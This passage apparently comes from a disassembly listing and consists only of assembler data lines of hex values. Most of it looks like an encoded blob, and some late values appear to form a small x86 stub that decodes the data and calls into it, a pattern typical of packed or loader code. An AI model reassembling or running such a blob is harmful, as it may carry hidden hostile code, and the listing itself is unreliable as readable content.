		dd 0BFDF9F5h, 20DFFC87h, 3F6B5127h, 95E5E17Eh, 9EBBC9FEh
		dd 0FEE7FF5Dh, 0EE93A9F7h, 0C081DAF2h, 0E9E2F1CBh, 99E498CFh
		dd 3EA29590h, 190D64EAh, 65584634h, 0D1D6C99Eh,	0F799C4F3h
		dd 0C2B4082Dh, 14904C7Fh, 345097C4h, 151E8CE2h,	0B8A821DFh
		dd 0D231A7E0h, 7013C023h, 9631D7C5h, 1FFDB8AEh,	0D690EC31h
		dd 4A24D40Ch, 991FE502h, 749EC01Bh, 0A2C6ED16h,	0F74AAB92h
		dd 0E67E15F5h, 0D0D6D36Ah, 5BA1C396h, 0FFE3FF71h, 1BE7E4F6h
		dd 3629ECF5h, 0EC67DDE8h, 0C5E456CBh, 38DE30E6h, 8267F5A7h
		dd 4037D9A5h, 86CFF727h, 3730F24Fh, 908E9090h, 0D39FC5DEh
		dd 0A01ADF40h, 0FF4F9062h, 0F5E0E3FDh, 385EB6F3h, 5DC0F7ABh
		dd 0B73C682Fh, 0DB2D0751h, 2AD90DDEh, 58DEB047h, 7468B7ADh
		dd 2AD91604h, 10141C16h, 162A3824h, 0C4302AD9h,	0D0D4D8DCh
		dd 0D9162AD9h, 0F8E0E8ECh, 2AD916F0h, 0AC988416h, 63FDB4BCh
		dd 0AC4C7B84h, 6C545C44h, 63FD8464h, 0C747C84h,	84631804h
		dd 242C63FDh, 0FDCC343Ch, 0C4FD8463h, 0E8ECD0DCh, 63FD84FCh
		dd 9880F084h, 43FDA4ACh, 0B4A063EEh, 58B7AB6Eh,	2AD96850h
		dd 78608466h, 4080C96h,	162AD916h, 14181C00h, 0D9162A10h
		dd 3820282Ah, 0DDC0C830h, 0DCD91620h, 16E8D0D8h, 63FD84E4h
		dd 0F0F8FC84h, 162A8088h, 909862BDh, 0B4A0A8B6h, 0DC03FD84h
		dd 5440AA48h, 8463646Ch, 787C63FDh, 0FD040C74h,	1CFD8463h
		dd 0C4CC382Ch, 63FD84DCh, 0F4FCEC84h, 84639C80h, 909863FDh
		dd 16B4A8ACh, 44D52AD9h, 50585CA9h, 0D9162A68h,	7074602Ah
		dd 0DC180408h, 10D9162Ah, 30343C28h, 0DBFD83A9h, 0BEC40787h
		dd 0E4ECB6D8h, 0A8FA72B1h, 0F200FBE0h, 3902F61Dh, 0A897C2A0h
		dd 0C566C4ABh, 0BA0CFFF9h, 0D19D5888h, 0D1DC3E37h, 0E936B0DEh
		dd 0C01778C7h, 7688D2CDh, 0DB806589h, 0D3C62386h, 0B31D8AA7h
		dd 0DFFF85A5h, 56079BD9h, 0C0D1D9DBh, 0DDD5D906h, 0F3FE5BDFh
		dd 5FC1D4EDh, 2538AE6Ch, 5630A35Eh, 0BF27DDD2h,	0FC502BDDh
		dd 0F863BE14h, 0DCC1CEF3h, 5CAB8BD0h, 969BDF5Eh, 0D2D470B7h
		dd 0C36D765Dh, 0A682BEF0h, 0C66A99B7h, 0C7D041B9h, 0BF96EBDFh
		dd 5051487h, 0FBD2AF69h, 103BEAFh, 0EFBEEFFBh, 0DEBADF87h
		dd 0EF600400h, 47BFAF97h, 240CAB14h, 0DF8EBE16h, 70FE21D1h
		dd 0B7C83BCBh, 875FA6DCh, 493D5D58h, 0D3C5D6BEh, 0C8D5AADBh
		dd 9E813BD3h, 5F49878Bh, 0EC369586h, 14DE97C8h,	26C5395Fh
		dd 0BEA77D15h, 69C08F63h, 1DDB11C6h, 3BCFBFD5h,	0DE9D6D6Dh
		dd 0C91D228Dh, 0B9A13BAEh, 8E97A49Eh, 0AFD9153Eh, 0A08B6DBCh
		dd 92C27F15h, 66A7C1D0h, 97BFC3CEh, 0A2A2B7A3h,	0DBF55C52h
		dd 4BD5C03Fh, 0B65FC0D0h, 0D96F8C73h, 5C4BC69Eh, 0D6170CB5h
		dd 9D8EFCC2h, 83F5D5DAh, 0D24EE884h, 0C1B0D2DFh, 3727CAC7h
		dd 0FAFB1E6h, 0CAD1C185h, 235582EEh, 0A6536F97h, 0C0C8BE0Ah
		dd 0EB75DB82h, 88897E97h, 4FDD154Fh, 0A272E3A8h, 0B6A74CAEh
		dd 0A62EAEEBh, 0A7D5D86Eh, 27D2E0BAh, 0DA86C267h, 0AF950626h
		dd 0B1D7D901h, 0AFB9C733h, 0D7D5B7B1h, 0CCDFC4DEh, 9465DC1Dh
		dd 0B702527Eh, 0C23EBFBCh, 0AFB10AC4h, 3CF6EA51h, 0C664771Fh
		dd 0E1345C6Ah, 0F4364DF2h, 7118FFC7h, 7EB6333Ah, 6159C8C3h
		dd 0D996B35Eh, 0ACDDFEBCh, 12059982h, 62F7DE96h, 911C824Fh
		dd 84F80395h, 907E83BFh, 8182BC33h, 0AB00DC80h,	0AFAAA593h
		dd 0B27000A7h, 0BFF79FBBh, 383h, 0BEB69FAFh, 0A10B0BA6h
		dd 0C0E70E9Dh, 0BE23D7C7h, 94E29BFFh, 436253AAh, 0DB10C7F6h
		dd 0DDEE81A7h, 8DC096B6h, 0C3BF6C32h, 0E806385Bh, 0AF0C8694h
		dd 8097EAEFh, 0D4965CEBh, 0D5AFF723h, 2A9CF3A0h, 9A3ED90Eh
		dd 8CF32CB3h, 9FB19C41h, 0A73848B0h, 8EF2987Eh,	52F3F5CFh
		dd 0EDEB765Dh, 0DF9E9EACh, 0B0CEA5EFh, 904C11BFh, 0E6B4C497h
		dd 96CAD908h, 0DF90DF24h, 0D3AE7001h, 8E8E319Fh, 0AC99CA99h
		dd 906BE86Ah, 0C1932F9Bh, 0B8A847C5h, 0EBAFA5ABh, 0BC239D90h
		dd 9D5C46C8h, 0FBA88AC3h, 0BABD7596h, 0CCB46F97h, 0E2F4E776h
		dd 0CB8D33F9h, 4857A36Ch, 37E39007h, 96338BCDh,	0F5D04D0Bh
		dd 0E58B03E1h, 8BA2F4F9h, 4CBDE7E0h, 0B59E707Dh, 0F39031CDh
		dd 0F5F4F6FBh, 0D52FDBFEh, 0F6BA79ABh, 0F1F3F7F6h, 6D6A87B3h
		dd 0F590B04Fh, 0F6F4F5FBh, 0BBF9F5F5h, 0BBB1B392h, 2DD34817h
		dd 0FDE34F35h, 0E3A8B5F2h
		dd 81C8A440h, 14E4FE9h,	4EE0B2B0h, 2B5FA34Fh, 0FB21E469h
		dd 0FFE2E090h, 0FDF1E2F7h, 809E8190h, 4E5C3868h, 0FEF1FC9Fh
		dd 7A5B5FDh, 385F17B0h,	0DBB7E752h, 4A86F7D7h, 0ADDB6F6Ah
		dd 0D1819E83h, 82F7FDFEh, 71D538E8h, 82AB0F42h,	0E4FEA59Dh
		dd 90FDFC90h, 0BBA78280h, 9BC4289h, 0B398B1C3h,	0C56F7DB9h
		dd 0DD67A570h, 856F4FBCh, 31986F4Fh, 0ECAFEDB1h, 0CE30B060h
		dd 0B6E9D0B0h, 4F874FB6h, 0B1B69B4Fh, 10B2B5B5h, 10FD80FFh
		dd 0B6BC80BEh, 32B1B4BAh, 0BAB2B287h, 89B48B12h, 0C7BBF7D7h
		dd 0C7F16B6Dh, 0E8C8B2B1h, 0B0B85C95h, 0A03CB2B9h, 4F4CDCB2h
		dd 50C80CFh, 0DCE0E5FFh, 0D6C8E0E1h, 0E1E3F982h, 81E6F5D7h
		dd 0FFFBF7D2h, 5A362D50h, 895181B9h, 93D2D031h,	0B1CF4C85h
		dd 0D416F9BDh, 6D1F9092h, 624F4CA1h, 1C3111B0h,	12193180h
		dd 31B41631h, 22B3E313h, 1C83EA73h, 0E8BFF0B2h,	19C0B2A2h
		dd 5C0CA032h, 0BF9004F1h, 4F0312B0h, 5D4F3E3Fh,	0C7388907h
		dd 5D0EA667h, 0AF071EF2h, 3471DD0Bh, 4E7FB129h,	0B8DB4F4Fh
		dd 0D50AC801h, 2A63BAF3h, 9936F952h, 0B0FFB0E7h, 0B0FBB0E2h
		dd 0E5A3BAF7h, 8B7D0BEh, 0E17B43B0h, 4AD6E7BAh,	0DD960E64h
		dd 0AAE3B0F9h, 0E6B019D7h, 5BBD5132h, 7FAD288h,	0C2B39097h
		dd 90DB17A1h, 0AC35017Dh, 9EF0B7BDh, 0A4BBB4C7h, 6E875399h
		dd 20379C46h, 0B490B1C5h, 4B166AB0h, 4FBC1558h,	8FB09401h
		dd 200EA7B0h, 12D6D721h, 0B4C8B8B7h, 47CCC5E0h,	0C79DF0B7h
		dd 0A6EC6E6Eh, 0E3B49107h, 0B2B12F42h, 0BC2FC9B1h, 0A326F33Ah
		dd 0DF0FD40Ch, 68F06CB0h, 0BBB0C773h, 8F8BA2D5h, 0AC25047Ah
		dd 0BE679FFEh, 72244B0Bh, 12B8B423h, 0DD42CFDEh, 0B0B5BF33h
		dd 7FA1B3BBh, 4FA660B2h, 0B83320CFh, 839334BBh,	25B8AF03h
		dd 80FA9CBEh, 47B8739Ch, 0B7530F47h, 0B42AB133h, 5B3A38EDh
		dd 2FA179ACh, 0A09B2B58h, 34C4D0F8h, 0B1074F4Ch, 0AEBE0EE6h
		dd 91D1E417h, 0EAB42150h, 32569354h, 4F0BB260h,	59B283CFh
		dd 57CFFF6Fh, 15FDDB9Bh, 338C1A64h, 9A11B3A5h, 7D4F4EE7h
		dd 0E01DB3B1h, 9A9682Ah, 29AC43ECh, 0AE1DE3F1h,	500FC5D0h
		dd 0E784AD30h, 9127EEB4h, 2EF02FCEh, 4F54912Bh,	5B670E79h
		dd 87410014h, 0B5B5254Eh, 2B4784Dh, 3BE24F4Ch, 8AC47C35h
		dd 5099A53Bh, 0A61C7D80h, 4F4EF2B1h, 6EEBB67Dh,	95512A7Bh
		dd 0A0AFC233h, 57221213h, 4F78C686h, 0C4B7890Fh, 0B9707D44h
		dd 0E43CF9Dh, 0BC85C308h, 49D8E2B6h, 0B8F7DF4Fh, 95DC551Eh
		dd 0AB3A515Ah, 0E6A7FA72h, 735E9938h, 0F4FB1B6h, 0EEB9B8D0h
		dd 0CDC0E096h, 1F3238FDh, 0AD268DCBh, 0B54F5B5Ah, 2AA778F7h
		dd 0FF78B6BAh, 0A6C0FB82h, 77A2B163h, 0C84F91BBh, 0DE0FF7EAh
		dd 0B0B33851h, 955E368Bh, 0BA9E79B3h, 35B30B30h, 3E8D1DACh
		dd 624BB7F7h, 0CFC62BCh, 40B00C0Ch, 0C82BEBFh, 0AF36B214h
		dd 0AF10C9B0h, 0BB400924h, 0E9BEF505h, 4F45FCB0h, 75E50ADFh
		dd 0E5F69CBEh, 0F5FCFDDEh, 0CAFED4C6h, 4E1FDEDAh, 0E8C44F6Fh
		dd 0C6F1DECAh, 0F4E3FFD3h, 0E5DCE5B9h, 0FAF6FCFCh, 0DD89F3DDh
		dd 4F474FDAh, 0E8D5D74Fh, 0F3F4D2C0h, 0DAC4F1F9h, 0E0E2E4F4h
		dd 0E8C9C8F1h, 0D6F3E9F9h, 0DAC6C8F4h, 53AEE8E2h, 0E7C44F4Fh
		dd 0F3F1C9E3h, 0C2E0D3C1h, 0D5F8E7CAh, 0D6FBE5D1h, 0C5F58BC2h
		dd 4F30CF4Fh, 0CAE5EA9Bh, 73D2CAE0h, 88F6F219h,	95D7A565h
		dd 0F709182Bh, 4F4F4F27h, 22018F4Fh, 264CB3CBh,	3DB4B5D6h
		dd 42F2106h, 0AD9C4D80h, 300FAF1h, 490884F8h, 8145FEFFh
		dd 0CF4F4F79h, 1D593340h, 0EE707E58h, 92BEC631h, 3327240Bh
		dd 44524C5Eh, 0D570CF13h, 4FA5F46Dh, 0C34F5F4Fh, 0D8DBF462h
		dd 6ACF616Eh, 6DBFF27Ah, 0B64BAF6Bh, 0AE62AF2Fh, 0EA225880h
		dd 0DDACCB0Ah, 4F4F4F4Fh, 0B278AF13h, 196ECF0Ah, 7C26AF3Fh
		dd 3EBEE43Ah, 9553E48Fh, 932AEECAh, 0A9D3CFC9h,	0E70F005Fh
		dd 0C0F4F41h, 41B68FEEh, 0AC6F0719h, 0CC2517CDh, 0AEAF2791h
		dd 46382FFEh, 4F4F4F4Fh, 1943FF33h, 0D2AC1448h,	8E57AF07h
		dd 9A67AFA6h, 0DCA94C55h, 6D77C805h, 0F47442DDh, 4F4F1763h
		dd 0FA154F4Fh, 0CD15577Ch, 0FAF7DB5Fh, 0A9DBC9C0h, 0CDF1DB5Bh
		dd 1341C182h, 0C7252CE6h, 42D82661h, 5F4FFD63h,	672E4F4Eh
		dd 44D873A6h, 0C1747758h, 0D1746758h, 35D7FF58h, 0AD58F47Bh
		dd 806307C6h, 5D4F4D4Ch, 86CCE23Dh, 0C7763461h,	364FF4F4h
		dd 0C5CE0AA6h, 0A674F2F4h, 6EA24277h, 6E4F6D0Bh, 715FC677h
		dd 0C04C9837h, 705DCDEBh, 4E6DA66Fh, 0B74FCF43h, 4A474F4Fh
		dd 774EEE1Bh, 0AEE822CBh, 0AE606175h, 38D42770h, 6C0A66F5h
		dd 4BB40849h, 1F4F4CAFh, 398C1C71h, 6C554CA0h, 0E7D832B8h
		dd 5CC9A74Fh, 5AC37676h, 0B7B7264Eh, 714F5FBFh,	4CDB6D76h
		dd 0EA0E4B8Ah, 874E3F74h, 0C019BF3Ch, 5C4B6B55h, 6F56A4D8h
		dd 7D6EC0F7h, 0C147C4C5h, 5C77B30Fh, 9E5B1072h,	4FF1BBB2h
		dd 6B5311A8h, 3FD86F8h,	0E1D6EF7h, 484F4F5Fh, 706E0A4Fh
		dd 0E4F9E06Eh, 4A5D4EF8h, 0E5B7F97Eh, 0F5E4E5FFh, 0FBE7E5E0h
		dd 0FE7FDE8h, 0E84F4F4Fh, 0FDF8F7E5h, 0F3FBF5F9h, 0F2FEF5E9h
		dd 0FCE0E1F1h, 0FEF4F5EAh, 0F7F2FFFFh, 8D030A85h, 4F4F3F70h
		dd 48AB6535h, 0FDD25BFAh, 0E7E4F3EAh, 0E7E9F8FCh, 0B12A7EF9h
		dd 0D3D6B161h, 6EECBF8Dh, 2C357BA0h, 6FEBECBAh,	874C90B1h
		dd 0B8B782B5h, 0E6E2E377h, 0C7F3E6E3h, 5908AB1Bh, 0E658807Bh
		dd 47E07339h, 0D84E3F4Fh, 5CBEFE3Eh, 7948EF58h,	0DEDF09D6h
		dd 0C2C5D8E1h, 4FE4DDDCh, 0F0CF8360h, 0AA864C3Ah, 0F558C09Fh
		dd 3DE68793h, 474FB1A5h, 0E1E6BCC7h, 28D8E381h,	58BE3A4Eh
		dd 40E7A49Ch, 0AC4CEB86h, 6B9DF900h, 8EF9FF05h,	11D4E6E5h
		dd 38F58B4Ch, 0ACC0E654h, 0B8D83B1Dh, 0F5995839h, 7279949Ch
		dd 0B80C913Fh, 3B8CB1F7h, 4E4F4F4Fh, 0B1C8B5E4h, 0A7FA3B5Ah
		dd 5BB190EAh, 3BF98553h, 5EB13B84h, 814C4F81h, 50881C70h
		dd 4D5547C4h, 7F71B74Fh, 5B77B1BDh, 94CC8B42h, 0F751C5A4h
		dd 0BC3BD694h, 0AB53A1FBh, 3BAC27CCh, 5958E3B4h, 5A39E714h
		dd 0F14A5BD2h, 0CB805856h, 217217B7h, 0AFAC003Fh, 0D17DB4B8h
		dd 0C90F7FA3h, 0AEB6BDC7h, 384797B2h, 39A652DFh, 2C6BB3DFh
		dd 48B786ECh, 2EB4A772h, 9E5FE7A2h, 0AEB60B74h,	0F9160B5h
		dd 0B6AEB6C1h, 86E7C6B2h, 0AEB689D9h, 762576B1h, 9F8A6010h
		dd 35AB309Fh, 9FD91C65h, 0BA89C805h, 5F109DB6h,	1912589Fh
		dd 39ECB1BDh, 0C722B4BCh, 0D6F8F384h, 257092C3h, 0AC4F26D7h
		dd 55AF51F5h, 0C06F9E74h, 0D2DDC3C9h, 382D4976h, 0D1D1E397h
		dd 0D49A90D1h, 53D333D8h, 80AF9385h, 94DBF251h,	0E3906392h
		dd 9D926BA1h, 0AA9BEECBh, 19B646A8h, 0E79A819Eh, 0D90DD3CBh
		dd 0CB69E090h, 4681979Ah, 9A00D982h, 837CD70Fh,	60475039h
		dd 0C6C39F20h, 9ED3B5C2h, 0C04C3DD3h, 0B10D1F3Ah, 0F0A26A89h
		dd 664631DDh, 0C3DD853Bh, 75E2C529h, 29B05F96h,	0B19BC7B5h
		dd 860684EAh, 0E3AFB5A1h, 9FB035B0h, 9264D49Ah,	0C2ABB6D8h
		dd 7121A69Fh, 0C989BC8h, 0A3B61325h, 7F99FD44h,	0F7236D02h
		dd 0D137D8E0h, 0C5D6D1C4h, 0B4E6B4DDh, 0D6DF6CE5h, 0B1F630D0h
		dd 0A3FE67AFh, 0D09DDE64h, 8ADFE37Ah, 0DBDDB190h, 0D2C5917Fh
		dd 20D5AF9Dh, 1F6102B8h, 8CB00440h, 903B2FBAh, 55B0C4C5h
		dd 7B2EFEA4h, 0DD102851h, 48B12BF0h, 0AB8A26B4h, 0C44800A6h
		dd 5B113EBEh, 0DF859DE7h
		dd 11AC9DAEh, 7F893212h, 88FAAC97h, 49F3B25Bh, 0FF4D39AFh
		dd 0BD2AEB35h, 4FBEC330h, 9F4952F3h, 45A3332h, 0FBBC9A01h
		dd 605AE0D1h, 0D9F1F2EAh, 77B7EBD6h, 9CBAEF2Ah,	0EC2EECh
		dd 0C90ADD10h, 0D986058Dh, 0B0958DFCh, 783850Dh, 0F82D53E2h
		dd 0EC7D6348h, 0FCF5F8E3h, 849C4BFCh, 5128A831h, 8D31D1E3h
		dd 8E511AE4h, 23DCEEADh, 0D5CB66C2h, 9CF8ADC7h,	0C3421CABh
		dd 1241FB7Fh, 0B3BA72F7h, 0B78DD473h, 9B32AB02h, 0DFEDDFEBh
		dd 88BD5035h, 0DD95965Ch, 9EEB8FD5h, 0D7BAA8FBh, 0CF1386D2h
		dd 0E63C2B1Ch, 3FE3FCF3h, 858486CBh, 45D1F6F6h,	804F4B5Ah
		dd 8880859Dh, 80819D81h, 899DF281h, 0CB9D88AFh,	0B800F1F1h
		dd 0F6978F40h, 0F5848589h, 0AEAA2BCDh, 0DBE12772h, 0BD9FE21h
		dd 0AF7D4D4Fh, 869DDDE3h, 82B9829Dh, 84848384h,	20238687h
		dd 8B4F2AE7h, 8189B11Fh, 9D878389h, 75838086h, 0D3140C8h
		dd 3F83F781h, 0E9F3F5E2h, 0A1E2F5BBh, 3F7339F5h, 25E3D6BAh
		dd 9D8E8840h, 0C7EE8A8Ch, 0EB3FC605h, 0B40FC181h, 0F594D94Fh
		dd 86C8D876h, 0B1DC769Dh, 36AD5920h, 0C03170CBh, 0E5A25F2Bh
		dd 0B0CC84C5h, 0EDD6D2EDh, 5B8827C9h, 4DC2C0AFh, 0E0E4E4F8h
		dd 1A71DD9Fh, 9032B773h, 35E3FBFFh, 0B0AD7481h,	97AEC071h
		dd 0BBC64E91h, 0AF9D922Fh, 9DDFDE9Fh, 36C1C8D3h, 0A09C9246h
		dd 0D3A15EC3h, 0B059DC8h, 8D39BF0Bh, 0A1D9E780h, 9EA4F9ADh
		dd 0DECA03B1h, 0C7339DC7h, 0D6AE945Dh, 0D7B9FC93h, 0E2ADCC01h
		dd 0B2D996D9h, 0D1E295C0h, 9C7DB8Bh, 0C9D2C3D5h, 4EF4E2F3h
		dd 0A1A4B4D6h, 0FDF75393h, 0D29D5CCDh, 339558F7h, 964B835Ah
		dd 0DB55F2B6h, 0D9C197C3h, 9D4FA296h, 0A70B30E0h, 5FB3951Ch
		dd 0AFAA4A88h, 96E4F5F7h, 8D8AF8F8h, 0A576F8Ah,	7ED48FA2h
		dd 0B1FD90B7h, 94E3C990h, 0A9BF8295h, 0F2A21A9Fh, 8C18DF3Ah
		dd 0FA1ADDCEh, 0B1E32936h, 33BA103Ah, 0F8E0F149h, 0BA3098B2h
		dd 0A5B0E0D4h, 9AB011F8h, 0E4B1F220h, 18B23490h, 0E0B5B9F0h
		dd 10BAA231h, 0F0A494B2h, 3098F8B5h, 0B0E020BAh, 0B01190A5h
		dd 0B1F2F09Ah, 0B23431E4h, 0B5B9B218h, 0BAA2B5E0h, 0A494BA10h
		dd 98F8A5F0h, 0E0209A30h, 1190E4B0h, 0F2F018B0h, 3431E0B1h
		dd 0B9B210B2h, 0A2B5F0B5h, 94BA30BAh, 0F8A5B0A4h, 209AB098h
		dd 90E4B1E0h, 0F018B211h, 31E0B5F2h, 0B210BA34h, 0B5F0A4B9h
		dd 0BA3098A2h, 0A5B0E094h, 9AB011F8h, 0E4B1F220h, 18B23490h
		dd 0E0B5B9F0h, 10BAA231h, 0F0A494B2h, 3098F8B5h, 0B0E020BAh
		dd 0B01191A5h, 0B170729Ah, 8FD474B4h, 8823B749h, 0B1B0B714h
		dd 0D5CAD9E3h, 2098A8A9h, 0D0F6C0B9h, 0E891EB90h, 21AFF1C4h
		dd 0B03D0FCh, 6A7072A6h, 0D9E49187h, 0A891F1DDh, 0B15DBA88h
		dd 0F48080F2h, 0D66EB1E9h, 0B11B395Fh, 0D383C3DCh, 0E043E3C7h
		dd 6BCB31DFh, 34AFCEB4h, 0FD327D31h, 3E460CB9h,	0F2C90F32h
		dd 0A6F380F5h, 71249CBCh, 0D16D6A20h, 0FDFCB111h, 6A089B2Bh
		dd 9DCA80FBh, 987660F9h, 9385E3A3h, 0F14D7071h,	0C0E3D4DEh
		dd 0B3B4AE43h, 0D861B555h, 0BCA295DFh, 5107A838h, 946EBD6Dh
		dd 0E5ABC64Fh, 6AE6F5ADh, 0BB6E500Bh, 0DF75D23Dh, 2CDFA9E0h
		dd 0A3A250C9h, 0DC925DB6h, 95D027BBh, 3701F99Fh, 976490D0h
		dd 4B8EBC80h, 0C3DFDFF2h, 0C9C05162h, 0B4B6A55Ch, 0D5DC43B7h
		dd 0FC80C3DEh, 16A2CB90h, 0D11CE45Fh, 0FDA5F105h, 37C6068Ch
		dd 83A90848h, 8C8DC4F1h, 0D25286ACh, 0E456B5C5h, 68A0DDDDh
		dd 2A3773B2h, 81F2919Dh, 0DD99F27Bh, 0D003D55Bh, 61B6F3E0h
		dd 2E4B9100h, 2DFCDB90h, 749D1C2h, 0F2B6F3C0h, 27D9D3DBh
		dd 4BA4D06Ah, 40D1ED24h, 0C8F55135h, 0C0A689D9h, 0DEBA03D1h
		dd 0FB1B31ADh, 5BF08BD6h, 0E7DCEB98h, 8CE37AD1h, 0BA696BDCh
		dd 0EB98CD72h, 41DD9C1Fh, 0DDD5A1F5h, 7DCBEEC0h, 0D32700A8h
		dd 80D98775h, 0F1711241h, 0DBD3CB6Fh, 0F2B6F883h, 6FB1B557h
		dd 5BB3B53Ah, 2D9E6A9h,	68F498F1h, 0D1D3EBA5h, 864E7BD0h
		dd 0C2D4D4F1h, 3A5E618Fh, 6D6395DDh, 0ABA7F6C9h, 9BBBB3B4h
		dd 0B4313695h, 76D713D9h, 15B4ABB6h, 0A4D137FDh, 8085B6A8h
		dd 0C3060620h, 0E8A8F13Dh, 5413020h, 906B00A8h,	0F9ACE15Fh
		dd 81F9F165h, 7BB80A61h, 0FC313476h, 0C7699D13h, 0CC6E7D2Bh
		dd 0FDEFEF15h, 72D5DEEFh, 7536D64Ch, 96B24DA9h,	0D3E8EFABh
		dd 164B81C0h, 0D69514EAh, 96DBD5C7h, 80EE29E5h,	0D653C477h
		dd 6D9EFD7h, 1FC927EEh,	0C32EDDFCh, 0D89AC561h,	0F0CDC293h
		dd 0B8D1D8A8h, 26D4D6EFh, 45EB6CB9h, 0ABB5C08Eh, 0F0D0C6ABh
		dd 0D6ABD535h, 6CBCC2A7h, 0C0E98D63h, 0AEC0F393h, 0B69E98A8h
		dd 5F82D651h, 0C4DC98EDh, 2F968901h, 7FEC6EA3h,	0A0DD4B5Ch
		dd 38DE9182h, 0DDC7DC85h, 6E7F69FFh, 0DEC0C3F4h, 0E5DBD5A1h
		dd 8BC85BB3h, 0C3C6F263h, 0C47AC0DEh, 0B2DD8B20h, 8675FD03h
		dd 0C5D5215Ah, 0C831BCFh, 0AAC8C226h, 8F8F9B96h, 0BBABF082h
		dd 0F1E94F83h, 0F9E8F1E0h, 2389EAF0h, 0DD0B54EFh, 76C3DB30h
		dd 62C2D8BEh, 0A1EAE8A6h, 0F3FFB4h, 0C0BC8032h,	86B49577h
		dd 9F45DE9Ch, 9C8C4DA7h, 0EF3E7AC6h, 833534D8h,	673724AAh
		dd 0F2DC79D6h, 0E848C3D7h, 0C2CA1AC0h, 0C0BF53E3h, 903B136h
		dd 16385929h, 0ACB854BCh, 0DD88A5F5h, 453F8058h, 70700CE2h
		dd 0B189A89Dh, 72B29B0Ch, 40EFB12Bh, 6B7B9C02h,	27B5BC4Fh
		dd 7BA3A0B1h, 0DF7B9C02h, 0A1A284A7h, 27B9CC3h,	0B9B3A69Ch
		dd 9C02B2A5h, 0B5BD027Bh, 78BABB83h, 0A476174Fh, 0B0F5E087h
		dd 0B5B1FCB0h, 9D0983B0h, 6EDD2DF9h, 0BFB0508Fh, 0B6B1BBB1h
		dd 0B65878A9h, 68759A97h, 8817CBC2h, 0A7F0AAA0h, 0C6D7B4B2h
		dd 0BFEBDC3Fh, 70B740A8h, 0D98CB1E1h, 5CABFBC2h, 0EFBDBFA0h
		dd 58AF2000h, 60DB3C76h, 0A188B0B7h, 196F91ECh,	0CCDF04B8h
		dd 0B8D09EB3h, 0C4F1B706h, 917743BEh, 0DEEEB678h, 90B53933h
		dd 33C29ED0h, 21B88304h, 50F6B2B4h, 5DD5497Ch, 0B4F0FFD2h
		dd 0D4FFFD9Eh, 0FACBB607h, 0F840D62Ah, 0D99E7060h, 955679E1h
		dd 47A0ACC8h, 0B1A8A2FFh, 0E8047F2Dh, 0BE3FAA5Dh, 222887A8h
		dd 9AAAFE16h, 948797F2h, 346F72F9h, 56DBB707h, 30B0B0B7h
		dd 0B04F22FAh, 2 dup(0B0B0B0B0h), 10B00ED0h, 0E3DB0F7h
		dd 4F48C0B0h, 4F7D33E7h, 2020A05Bh, 20202020h, 38F6B63Ah
		dd 6BB1F7B7h, 0AE3BB7C5h, 0A14C5E33h, 85DC26Bh,	0B0B0B0B1h
		dd 0B7C56BB1h, 5E33AE3Bh, 0A16BA14Ch, 0C36BB170h, 3BA9C5BBh
		dd 4C5E33AEh, 0A0C26BA1h, 0C56BB1F8h, 33AE3BB7h, 6BA14C5Eh
		dd 645B70A1h, 58337981h, 71A1C2B3h, 0B63AB850h,	4F4033F6h
		dd 4861C8C4h, 0BB5B7539h, 0B7C56BB1h, 5E33AE3Bh, 0A16BA14Ch
		dd 0C56BB179h, 33AE3BB7h, 6BA14C5Eh, 90C579A1h,	0C56BB1F1h
		dd 33AE3BB7h, 6BA14C5Eh, 6BB179A1h, 0B9C55FC3h,	5E33AE3Bh
		dd 0C36BA14Ch, 0B2713354h, 4BB04D31h, 61334F4Fh, 9FA43DB1h
		dd 0C64C4D33h, 0F2B23ABFh, 0F9F7B738h, 0FF5947C5h, 204F4F4Fh
		dd 7233B23Bh, 33B739B4h, 5933B477h, 0B141C7B4h,	4F88597Fh
		dd 39EE4F4Fh, 0B2650947h, 0B73AB0B0h, 8C589CF7h, 3047C7B1h
		dd 42C5B68Fh, 0EF3AB73Bh, 5871D6B4h, 0A07071B8h, 48997436h
		dd 0B1585B30h, 33B73940h, 6839B577h, 0E3D6952h,	0B0B750B0h
		dd 70B9B73Bh, 0EF3BF5C4h, 80343DB4h, 0B0B890B4h, 33E043B1h
		dd 264FB877h, 0B0B8903Ch, 0F7B73A25h, 6CC470B8h, 0B7C94939h
		dd 0F7B707BFh, 0E709F7E0h, 0E51E42F8h
		dd 9020264Fh, 70B9B0B8h, 0B339B7C4h, 5BB47333h,	24264F68h
		dd 0D1B0B890h, 4805B959h, 87F4E24Fh, 0CC927CA1h, 9A3D9482h
		dd 68D03837h, 0FC15F83Ah, 2E9B5C28h, 4268654Ch,	0D06C1BFFh
		dd 0BF00CEC5h, 5AD3EAA8h, 164A4959h, 4C487244h,	31F44188h
		dd 27D68C87h, 0D0CBAA34h, 437514C5h, 0DD5F5EADh, 7A6A60C0h
		dd 1F3DB2ADh, 2242BBF1h, 0DE86BB92h, 0CE65EBFEh, 2E894DF4h
		dd 51E9EBF1h, 0E6563054h, 70DFD224h, 47B16A95h,	0CA4B04D9h
		dd 0E7CADCC2h, 5F6D9C3Bh, 571BE11Ah, 0BE539562h, 20EBEBBFh
		dd 0FC0343C7h, 0C32C61F0h, 0D2BC84AFh, 5646A2A7h, 1B8DF2A9h
		dd 0C9DFB39Fh, 0C4828129h, 390E7E6h, 0DEFFAEC7h, 11215F3Bh
		dd 0DA269976h, 0A249F427h, 6DCBDFD8h, 0B98CCA30h, 4E4C2D55h
		dd 0D4DC6CD6h, 62FD88C7h, 99F2ED75h, 306AEAD7h,	0A34502CEh
		dd 6A2EE5AAh, 6A006A04h, 0FFFF6800h, 15FFFFFBh,	4830B8h
		dd 87EC085h, 15FF006Ah,	483094h, 481199A1h, 91053100h
		dd 31004811h, 48118D05h, 39C93300h, 4811910Dh, 0A1187600h
		dd 48118Dh, 1199158Ah, 0C1030048h, 3B411030h, 4811910Dh
		dd 0A1E87200h, 481195h,	11990533h, 0D0FF0048h, 9D3029C3h
		dd 50693ACh, 770AE026h,	14E17051h, 8B01C1BCh, 0B2CBA4D1h
		dd 0AF3F3480h, 12BD697Dh, 19DF352Eh, 2EA7FDF6h,	0C8E97E15h
		dd 83364A0h, 1273065Ch,	0EBC5Fh, 945BB01Fh, 0D38B9127h
		dd 9BF50027h, 0D3FBB027h, 0F4030027h, 41F2DD51h, 623138E4h
		dd 551BC957h, 0C541DB6Fh, 2F5DE3A5h, 5F6476F5h,	517C3E21h
		dd 0C270EEE4h, 68D216DDh, 1B40C57Fh, 3907A864h,	0F0E68099h
		dd 875FB310h, 1FD6CBCDh, 0D84B1A26h, 98B2ACAFh,	717FFE52h
